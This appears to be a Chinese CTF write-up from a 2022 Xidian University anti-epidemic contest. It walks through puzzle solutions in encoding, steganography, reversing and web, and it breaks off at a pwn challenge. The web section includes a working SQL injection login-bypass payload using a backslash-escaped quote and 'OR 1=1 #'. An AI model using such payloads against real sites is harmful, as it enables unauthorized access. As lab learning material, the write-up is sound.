2022 西电 抗疫CTF 部分 WP

警告
本文最后更新于 2022-01-07,文中内容可能已过时。

爬到了第四, 还行.

/2022-xdu-anti-epidemic/img/put_on_mask.jpg
带上口罩
flag{Nijigen_Waife_needs_FaceMask_As_Well}

(不想切 Windows 了就不放图了)

游戏里有个商店, 口罩 500\$, 但是只有 400\$. 尝试 CE 一万年无果.

Game.ini 文件中有一行 Scripts=Data\Scripts.rvdata

搜一下 .rvdata, 发现是 RPG Maker 存档. 顿悟, 存个档, 然后改存档里的钱. 找一个 RPG Maker 存档修改器即可.

flag 也不放了

我不知道这题咋做, 因为我正常解压打开了…

解压出来是一张图片, flag 写脸上了.

img/secret.jpg
secret
flag{众志成城_共抗疫情!!}

(不过我一开始并不知道 flag 里还能有中文, 以为那几个中文字对应了什么英文, 搞了一万年.)

关键字: 佛说 宇宙的真谛 加密 CTF

搜到与佛论禅

把文本里的那一串丢进去, 解密即可.

/2022-xdu-anti-epidemic/img/tudoucode.jpg
解密
flag{你参悟透这其中的真意了吗?}

(不过我一开始把密文放在上面的框框, 然后一直解不出来, 人傻了, 后来多次尝试密文要放在下面的框, 然后上面出原文

从题目名猜出来是 Base 编码.

文件内容比较奇怪:

4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D

看一眼发现只有 0-9 和 A-F, 猜测十六进制表示的 Base. 整个内容共 192(双数) 个字符, 且最后面 3D ASCII 对应的就是 =.

所以先把他变成 ASCII 码文本

1
2
3
text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])
K5WTCNDBIZXXUZDNHEZE4VZVOJSFK3BSMEZVU2CSI52DCV3JHFZGI23QO5QVM3CZKRWXOMKUJBDEQWTMIU4VAUJ5HU======

然后去查了各种 Base 编码, Base16 没有 =, Base64 最多两个 =, 就试了试其他 Base. 第一次试的 Base32, 解出来个这:

b'Wm14aFozdm92NW5rdUl2a3ZhRGt1Wi9rdkpwaVlYTmw1THFHZlE9PQ=='

看到两个 =, 又用 Base64 解了一次:

b'ZmxhZ3vov5nkuIvkvaDkuZ/kvJpiYXNl5LqGfQ=='

居然还是 Base 码, 再来一次 Base64 解码:

b'flag{\xe8\xbf\x99\xe4\xb8\x8b\xe4\xbd\xa0\xe4\xb9\x9f\xe4\xbc\x9abase\xe4\xba\x86}'

终于有 flag 了, 用 UTF-8 编码一下, 就出来了:

flag{这下你也会base了}
1
2
3
4
5
6
7
8
import re
from base64 import b32decode, b64decode

text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])

print(str(b64decode(b64decode(b32decode(base))), 'UTF8'))

(麻了文件头手动diff的时候没看清, 以为是对的, 然后一直修不好, 我是sb, 这题考场没做出来)

文件无法打开, 用十六进制编辑器可以看到文件头有 .PNG 字样, 对比 PNG 的文件头 (89 50 4E 47 0D 0A 1A 0A), 发现少了一部分, 加回去.

/2022-xdu-anti-epidemic/img/hex-png-header.jpg
PNG文件头

还可以看见文件尾 (AE 42 60 82) 也有点问题:

/2022-xdu-anti-epidemic/img/hex-png-tail.jpg
PNG文件尾

后面多了三个字节, ASCII 码是 LSB. 先把他删了, 然后猜测下一步用 LSB.

(由于系统设置了字体和UI缩放, 导致 Stegsolve 的界面显示有问题, 选不了第 0 位, 就很离谱…)

(写 WP 的时候试了一下 zsteg, 比 Stegsolve 爽一万倍)

1
$ zsteg f1ag --bits 1 --channel rgb --lsb
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"

或者 zsteg 还有更爽的, 不加选项也能找到, 或者加 --all, 找所有的信息, 然后 grep 一下, 管你用的啥全给你找出来.

不加选项:

1
$ zsteg f1ag
b1,r,lsb,xy         .. text: ":=qU_?|>"
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"
b2,g,lsb,xy         .. text: "UUUUUUJ\n\n"
b2,rgb,lsb,xy       .. text: "wv#b5r+1"
b2,bgr,msb,xy       .. text: "DQA@QA@Q"
b2,rgba,lsb,xy      .. text: "?+;k{+k/?"
b2,abgr,msb,xy      .. text: ["S" repeated 10 times]
b3,b,lsb,xy         .. text: "vKmNIdn@A"
b4,r,lsb,xy         .. text: "uEUUUUUS"
b4,g,lsb,xy         .. text: "u4DDDDDB"
b4,g,msb,xy         .. text: ",\"\"\"\"\"BO"
b4,b,lsb,xy         .. text: "uwwwwwwu"
b4,b,msb,xy         .. text: "]33U3U333333"
b4,rgb,msb,xy       .. text: "QUS5US5US5U"
b4,bgr,msb,xy       .. text: "S5US5US5US"
b4,rgba,lsb,xy      .. text: "PO@?A_@_QOQ_0?"
b4,abgr,msb,xy      .. text: "?U?U?U?U?U?U?U"

--all & grep:

1
zsteg f1ag --all | grep flag
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"

flag 如下:

flag{Lsb_1s_5ooooo_M@gicaL!}

Linux 下没敢盲目更新 python3.10, 切 windows 写的.

chall.py 中导入了 magic 包, 也就是那个 .pyd 文件中的东西. 使用 help(magic) 查看 magic 中的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ python
Python 3.10.1 (tags/v3.10.1:2cd268a, Dec  6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import(magic)
>>> help()
Help on module magic:

NAME
    magic

FUNCTIONS
    check_box(a: 'int') -> 'unicode'

    hidden_func() -> None

    hidden_number_guess() -> None

    menu() -> None

    my_python_shop()

    show(buf: 'unicode') -> None

    start() -> None

DATA
    __test__ = {}

FILE
    d:\ctf\2022-kyctf-win\bam\magic.cp310-win_amd64.pyd

发现隐藏函数 hidden_func. 调用一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    >>> magic.hidden_func()
    QwQ, you find me.
    Do you want the flag?
    wwwww, I won't give it to you so easily!
    How about playing another game?
    yeah, a number guess game!
    I have a favorite number, and it will never change.
    Now, guess it!
    give me a number between 1 and 999999
    And I will throw it to my check box
    Input the character 'q' to exit the game

就是猜个数字. 看见 check box, 这也有个函数叫 check_box, 合理推测把数字传入, 返回提示信息或者 flag 之类的. 随便输入数字, 发现返回 'WRONG!!!!\nTRY AGAIN!!!'. 于是写个程序, 输出不是 'WRONG!!!!\nTRY AGAIN!!!' 的内容即可.

1
2
3
4
5
import magic

for i in range(1, 1000000):
    if magic.check_box(i) != 'WRONG!!!!\nTRY AGAIN!!!':
        print(magic.check_box(i))
flag{mAy_a11_th3_b3auTy_Be_b1essed}

main.py 是输入字符串, 输出"编码矩阵". 如何编码在 Flag.py 里.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class DataFrame(object):
    def __init__(self, flag):

          flag 后补齐 16 的倍数位, 如果本来就是 16 的倍数, 也再补 16.
         补的字节全是 bytes(数字缺几位到16)

        self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
        self.matrix = [0] * len(self.flag)

    def gen_matrix(self):
        for i in range(len(self.flag)):
             flag的每一位左边补0到8位
            self.matrix[i] = bin(self.flag[i])[2:].rjust(8, '0')
            print(self.matrix[i])
             cycle left shift 1 bit 循环左移一位
            self.matrix[i] = self.matrix[i][1:] + self.matrix[i][0]

     交换第i行和第i+1
    def swap_matrix_row(self):
        for i in range(0, len(self.matrix) - 1, 2):
            self.matrix[i], self.matrix[i+1] = self.matrix[i+1], self.matrix[i]

    def encode_matrix(self):
        self.gen_matrix()
        self.swap_matrix_row()
         取反
        return bytes([int(self.matrix[i], 2) ^ 0xff for i in range(len(self.matrix))])

看代码就知道在干嘛了. (注释是自己读完以后加的)

这几个操作相互独立, 顺序没有影响, 所以随便咋来都行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def dec(code):
     生成矩阵
    code_matrix = [0] * len(code)
    for i in range(len(code)):
        code_matrix[i] = bin(code[i])[2:].rjust(8, '0')
     交换
    for i in range(0, len(code_matrix) - 1, 2):
        code_matrix[i], code_matrix[i+1] = code_matrix[i+1], code_matrix[i]
     循环右移一位
    for i in range(len(code_matrix)):
        code_matrix[i] = code_matrix[i][-1] + code_matrix[i][:-1]
     取反, 转bytes
    org = bytes([int(code_matrix[i], 2) ^ 0xff for i in range(len(code_matrix))])

    return org.decode('UTF-8')

print(dec(b"'31=3\t3333\x9d3/\x8d\x17-#-\xbd1\xbd\xbd\xed\x05\xed\xed\xed\xed\xed\xed\xed\xed"))
flag{ffffff19hiting!!!}

file 一下 runme, 64 位 ELF, 丢入 ida64, main 函数很简单, 并且给了输出文件:

1
2
3
4
5
6
  shoutLoudly((__int64)&song);
  puts("\n\t————Cerf-volant");
  printf("%s", "Entrez un message: ");
  __isoc99_scanf("%22s", v4);
  printOut((const char *)v4);
  return 0;

进去 shoutLoudly(), 发现只有输出…

printOut() 看, 发现加密:

1
2
3
4
5
6
7
8
9
  for ( i = 0; ; ++i )
  {
    result = strlen(a1);
    if ( i >= result )
      break;
    a1[i] ^= (_BYTE)i + 1;
    printf("%d ", (unsigned int)a1[i]);
  }
  return result

非常简单, 就是把输入的字符异或上(他的下标 + 1), 注意下标 i 只有 8 位.

那只用拿输出内容再异或回来就行了.

1
2
3
    int x, cnt = 0;
    while (scanf("%d", &x) != EOF)
        printf("%c", (unsigned char) (x ^ (1 + cnt++)));
flag{S1ng_@_S0n9_4_U5}

qt 程序, 打开让你点 1919810 下. (还真有人点了这么多下拿到 flag 的, 我大受震撼)

file 一下 click_it.exe, 64 位 PE 文件, 丢入 ida64.

然后他说点按钮获得flag, 自然去找按钮监听函数, 找到 MainWindow::on_button_clicked(void), 点开发现 flag 写脸上.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
__int64 __fastcall MainWindow::on_button_clicked(MainWindow *this)
{
  __int64 v1; // rax
  __int64 v2; // rdx
  const QString *v4; // rsi
  volatile signed __int32 *v5; // rax
  volatile signed __int32 *v6; // rax
  volatile signed __int32 *v8; // rax
  __int64 v9; // rcx
  __int64 v10; // rdx
  __int64 v11; // rdx
  __int64 v12; // [rsp+20h] [rbp-C8h] BYREF
  const char *v13; // [rsp+28h] [rbp-C0h]
  __int64 v14[4]; // [rsp+30h] [rbp-B8h] BYREF
  __m128i v15; // [rsp+50h] [rbp-98h] BYREF
  __int64 v16; // [rsp+60h] [rbp-88h]
  __m128i v17; // [rsp+70h] [rbp-78h] BYREF
  __int64 v18; // [rsp+80h] [rbp-68h]
  volatile signed __int32 *v19; // [rsp+90h] [rbp-58h] BYREF
  __int64 v20; // [rsp+98h] [rbp-50h]
  __int64 v21; // [rsp+A0h] [rbp-48h]

  v1 = *((_QWORD *)this + 10);
  v2 = *((_QWORD *)this + 11);
  if ( v1 < v2 )
    *((_QWORD *)this + 10) = ++v1;
  if ( v2 != v1 )
  {
    QString::number((QString *)v14, v2 - v1, 10);
    v12 = 6i64;
    v13 = "click ";
    QString::fromUtf8(&v15, &v12);
    QString::append((QString *)&v15, (const QString *)v14);
    v17 = _mm_load_si128(&v15);
    v18 = v16;
    if ( v15.m128i_i64[0] )
      _InterlockedAdd((volatile signed __int32 *)v15.m128i_i64[0], 1u);
    v12 = 25i64;
    v13 = " times to get the flag!!!";
    QString::fromUtf8(&v19, &v12);
    QString::append((QString *)&v17, (const QString *)&v19);
    if ( v19 && !_InterlockedSub(v19, 1u) )
      QArrayData::deallocate(v19, 2i64, 8i64);
    v4 = (MainWindow *)((char *)this + 56);
    QString::operator=((char *)this + 56, &v17);
    if ( v17.m128i_i64[0] && !_InterlockedSub((volatile signed __int32 *)v17.m128i_i64[0], 1u) )
    {
      QArrayData::deallocate(v17.m128i_i64[0], 2i64, 8i64);
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    else
    {
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    if ( !_InterlockedSub(v5, 1u) )
    {
      QArrayData::deallocate(v15.m128i_i64[0], 2i64, 8i64);
      v6 = (volatile signed __int32 *)v14[0];
      if ( !v14[0] )
        return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
LABEL_14:
      if ( !_InterlockedSub(v6, 1u) )
        QArrayData::deallocate(v14[0], 2i64, 8i64);
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    }
LABEL_13:
    v6 = (volatile signed __int32 *)v14[0];
    if ( !v14[0] )
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    goto LABEL_14;
  }
  v12 = 78i64;
  v13 = "Congratulations! Here is you flag!   flag{Senren *Banka from Yuzusoft is good}";
  QString::fromUtf8(&v19, &v12);
  v8 = (volatile signed __int32 *)*((_QWORD *)this + 7);
  v9 = v20;
  *((_QWORD *)this + 7) = v19;
  v10 = *((_QWORD *)this + 8);
  v19 = v8;
  *((_QWORD *)this + 8) = v9;
  v20 = v10;
  v11 = *((_QWORD *)this + 9);
  *((_QWORD *)this + 9) = v21;
  v21 = v11;
  if ( v8 && !_InterlockedSub(v8, 1u) )
    QArrayData::deallocate(v19, 2i64, 8i64);
  v4 = (MainWindow *)((char *)this + 56);
  return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
}
flag{Senren *Banka from Yuzusoft is good}

file 一下, 64 位 PE, 丢进 iea64.

29-33 行存在关键字 flag:

1
2
3
4
5
  if ( std::operator==<char>(key, &title[abi:cxx11]) )
  {
    for ( i = 0; i <= 36; ++i )
      std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, (unsigned int)(char)(flag[i] - 1));
  }

判断 keytitle 如果是一样的, 就输出 flag.

往上找 title, 27-28 行是输入 title:

1
2
  while ( (unsigned __int8)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::empty(&title[abi:cxx11]) )
    std::getline<char,std::char_traits<char>,std::allocator<char>>(refptr__ZSt3cin, &title[abi:cxx11]);

并没有找到 key. 双击发现是全局变量, 初始值为 just_want_flag

/2022-xdu-anti-epidemic/img/re-bullshxt-data.jpg
.data

然后运行程序, 输入 just_want_flag, 就可以得到 flag 了.

$ wine bullshxt.exe 
The theme is:  just_want_flag
flag{t3ach3r's_bl00d_pr3ssur3_UPUP}ÿÿ
Press any key to continue...

(Linux 下跑的, 有字符显示问题, 不过 flag 没啥问题)

或者, flag 其实也是全局变量, 且有初始值, 直接找到就行, 注意程序输出的是字符 flag[i] + 1, 所以上图中的 flag 需要每一位 +1 才是 flag.

flag{t3ach3r's_bl00d_pr3ssur3_UPUP}

一开始我还在找怎么逆 Click Once…

/2022-xdu-anti-epidemic/img/the-edge-1.jpg
1
/2022-xdu-anti-epidemic/img/the-edge-2.jpg
2
/2022-xdu-anti-epidemic/img/the-edge-3.jpg
3
flag{WhAt1s_this-0ver_th3_edge?}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from secret import flag
flag = bytes_to_long(flag)

tmp = getRandomNBitInteger(142)
a = flag | tmp
b = flag & tmp
print(tmp)
print(a)
print(b)

'''OUTPUT
4475588893486760807434877361949655702156202
10403436853134845129656953606837707260539903
2994485173442830774576326061629704337957160
'''

把 flag 转成二进制, 然后生成一个 142 位的随机二进制数(输出给了), 然后输出 flag | tmpflag & tmp.

列真值表:

tmp a b flag
0 0 0 0
0 1 0 1
1 1 0 0
1 1 1 1

然后对着表转换(对我就是这么蠢)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
const char* tmp = "01100110110000010010010110110101101111110010001001010011101101000001001011100001111101000111011110000001111000111110010100001111011001110101010";
const char* a = "11101110110110011110011111111111111111111011001011010011111111001101111011111111111101001111011110000011111100111111111110101111011001111111111";
const char* b = "01000100110000000000000010000100101101100010000001010010001000000001000010100000100101000001001010000000101000101000010000001010010000100101000";

int main() {
    n = strlen(tmp);
    string ans;
    for (int i = 0; i < n; i++) {
        if (a[i] == '0' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('1');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '1')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '1' && tmp[i] == '1')
            ans.push_back('1');
    }
    cout << ans;
    return 0;
}

然后转回 bytes 型

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
flag = 0b11001100110110001100001011001110111101101011000011010010011010001101110010111110100101001001001010000010101100101001111010101010010000101111101

str_flag = ''

while flag > 0:
    c = flag % (2 ** 8)
    flag = flag // (2 ** 8)
    str_flag = str_flag + chr(c)

print(str_flag[::-1])
flag{Xi4n_JIAYOU!}

(这Web太友好了, 完全没学, 凭着对网络的理解就能做一半以上的题)

打开网页发现是一个 js 写的游戏. 提示 5000 分能够获得 flag.

F12 翻一下源码, 没找到 flag, 但是在 enemys.js 里找到了得分变量 score:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//敌机移动
function enemyMove() {
    var enes = document.getElementsByClassName('enemy');
    for (var i = 0; i < enes.length; i++) {
        if (enes[i].isBol == true) {
            if (enes[i].bgIndex < enes[i].bgMaxIndex) {
                enes[i].bgIndex++;
                enes[i].style.backgroundPosition = -enes[i].bgIndex * enes[i].offsetWidth + 'px 0';
            } else {
                score += enes[i].score;
                $('scoreNum').innerHTML = '分数: ' + score;
                enes[i].isDelete = true;
            }

        }
        if (enes[i].offsetTop > 568 || enes[i].isDelete) {
            $('enemys').removeChild(enes[i]);
            i--;
            continue;
        }
        enes[i].style.top = enes[i].offsetTop + enes[i].speedY + 'px';
    }
    // console.log(enes.length);
}

直接控制台改变得分大于 5000 即可.

然后被创死, 弹窗给 flag

flag{Ez_Plane_war_1s_so_wonderful!}

打开网页, flag写脸上, 无法复制(不会有人手打叭?)

F12 查看源码, 好家伙, 每个字符都用 <div> 包起来了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<p>疫情期间, laotong宅在宿舍里写论文, 作为懒狗, 他准备去百度几篇文章拼凑一下, 结果发现网页里的文字不充会员无法复制!聪明的你能教教他如何复制嘛?</p>
<script type="text/javascript">
document.oncontextmenu = function(){ return false; };
document.onselectstart = function(){ return false; };
document.oncopy = function(){ return false; };
document.oncut = function(){ return false; };
</script>

<div>f</div>
<div>l</div>
<div>a</div>
<div>g</div>
<div>{</div>

<!-- ....... -->

<div>}</div>

直接复制所有东西, 随便用个现代或者古代文本编辑其处理一下把 <div><\div> 删了就行了.

flag{l47dGRuNzgCUQRu0vKqXFd32ZfQYoMyGlwgq2fo9Tq0YURgGeKGQN0mEAqe8fGmoMdXYlo1dZ41IDyE3k9aM8NYc65EHSaMK3BEuGxiL6SgeSxXKEBCNT3WMGeQKd3wupkKVSTFGZwX1zukcCOqxmcIRoMSqtgVbVbp0Z8gP8ZMdUDsXbG39q6eHHrTtom5h8nA7WgKKo8yumGceSPi7LRwlcepDh1ZTVP0COrW7guC1p69xbnw23c0g6godLMZluyO76QYoKTfRVplIeNKZOgqe9d4v3P7P70yRXGDuHsrdgVSgMpy35vuxAG34VYafLNCfNm30htPqaLchZXXqU2QGdAXZueU1LRr5SGcQ9iL42NUXvqFoS7P755F1Ugp380KQFoZuwGgUYVoQ7Y9GcsUEW6T6i9FTBxSpuyp8e673FMqpx3ig8OnThoZQFa5QOiDPpdH5FxUadABwnCihmNzFZfiiA0V1RdmUohvPB4kDIQKIrqewwF6C6M240kDarFDSfO3YxEiKSgyxW4AmNpDh8MzDmpMeb1hyFbsh0svLUzxW8QKx43hPZR9calqgpLGl6mmTiVXRvgcpZXLgFRgqwgGxlapCHuqQ06ET6kc3WCGf8EePNbS8vETkXOGzc16O6cfxay8WNrxZxGCl5duGYIZHWDEDkIAtg6F1pCnwKG2ieGsIIPiXpVccVWM9SyNz1uur6IGs4nWg6FzBXfCg0KdO5YVuaQHgPvcFqOEga9iDfsWhQu4yb8OEootp1koLxwkv8CPm9rTkZeVN5QgI9YnNg5X4K5u1Ps3OHD7dXgUPLF0YnsfmI0PlDeyZfy0epV2lxQ9gFgv1gmLppH2Vy1WiROKvmfncCGp0GX2zCLXMg9C0ayvtLfkcvY2azxIIzVANTnBEen9WDLusyQHwTDH5Qu26wLWB50RlFfGNMGAUEkAqKTONYgiTgscqyaiZ6d30Fr4dPclFzE1dvyeM06FWorSK8nxWINQmRSal2qp1gclGeOmIGsqU4sNy}

打开只有一段 php, 请求方法为 HS 显示 flag.php 内容.

1
2
3
4
5
6
7
8
9
## <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] === "HS") {
    include_once "flag.php";
    echo $flag;
} 
else {
    highlight_file("index.php");
} 

postman 改一下请求方法为 HS 即可.

/2022-xdu-anti-epidemic/img/post-hs.jpg
HS

flag{COVID_doesnt_spread_via_network}

打开以后是若干条防疫知识, 知识竞赛!

F12 源码看到一条注释 /?answer= (写WP时看到的, 考场没发现, 觉得key应该是answer就写上去了…)

做题! 答案是 B,E. 带个参数 /?answer=B,E 请求一下, 得到flag.

flag{covid19_is_not_undefeatable} 打完疫苗后可适度运动, 不会降低人体免疫力. 不过, 建议避免剧烈运动, 这是为了防止因运动过度而让身体不适. 接种疫苗与饮食没有直接的关系, 无论接种前还是接种后, 都可正常饮食. 专家建议, 为了保持身体健康, 避免饮酒, 避免吃平常就容易导致过敏的食物. 1月31日, 钟南山接受北京卫视《养生堂》节目采访时就表示: “到现在我没有发现有很明显的后遗症, 治愈的可能以后会大量增加. “所谓副作用更大, 后遗症拖累后半生等说法完全是危言耸听

如题, 发现奇怪的东西.

1
2
3
4
5

  <!-- 猜猜这是什么
゚ω゚ノ= /`m´) ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
  -->
  <!--答案结尾没有分号!-->

拿出来看一眼, 发现有分号, 可能是某种语言源代码的加密. 首先排除 python

继续观察, 发现有字典, 排除 c/cpp.

然后觉得 Web 题里应该是 js 吧.

然后尝试手撕!

发现太难了. 但是这题一万个人过了, 想想应该很简单才对. 于是搜索, 关键字: 颜文字 JS 加密, 马上找到 aaencode, 看这示例还真就是. 找到解码网站把代码丢进去, 解得 flag{everything-will-be-fine};, 答案没有分号, 我还真就复制粘贴直接提交了一次…

flag{everything-will-be-fine}

学一手 sql 注入.

原理很简单, 就是提交的表单直接拿去执行 sql 语句. 那么只要精心构造就能够绕过登录.

F12 查看源码, 得到提示 \$sql = "SELECT * FROM users WHERE username = '\$username' AND password = '\$password'";

原理在于闭合单引号', 构造永真条件.

直接输入 ' 会返回 bad hack, 另一种方法是输入 \ 使得后面的 ' 被转移掉, 就像这样:

1
SELECT * FROM users WHERE username = '\' AND password = '$password'

这样的话 username' AND password = , 注意第一个 ' 是被转移成的字符. 然后会发现有语法错误, 确实在 username 里输入 \, 返回 bad query. 现在还需要做的是构造一个永真式, 以及去掉最后多余的 \. 这很好办, 只需要在 password 里输入一个永真式, 然后输入 # 注释掉后面的 ' 即可. 可以这样构造: username: \, password: OR 1=1 #. 那么查询语句就是:

1
SELECT * FROM users WHERE username = '\' AND password = ' OR 1=1 #'

这样的查询意思是, 找用户名为 ' AND password = 或者 1=1 的数据, 由于 1=1 永真, 所以只要有数据就查询成功.

 flag{w0w_you_are_so_cool}

直接给 shell

送 flag.

file 一下 fd, 64 位 ELF, 丢到 ida64 里一看, 两个选择都会给 flag.

第一个:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
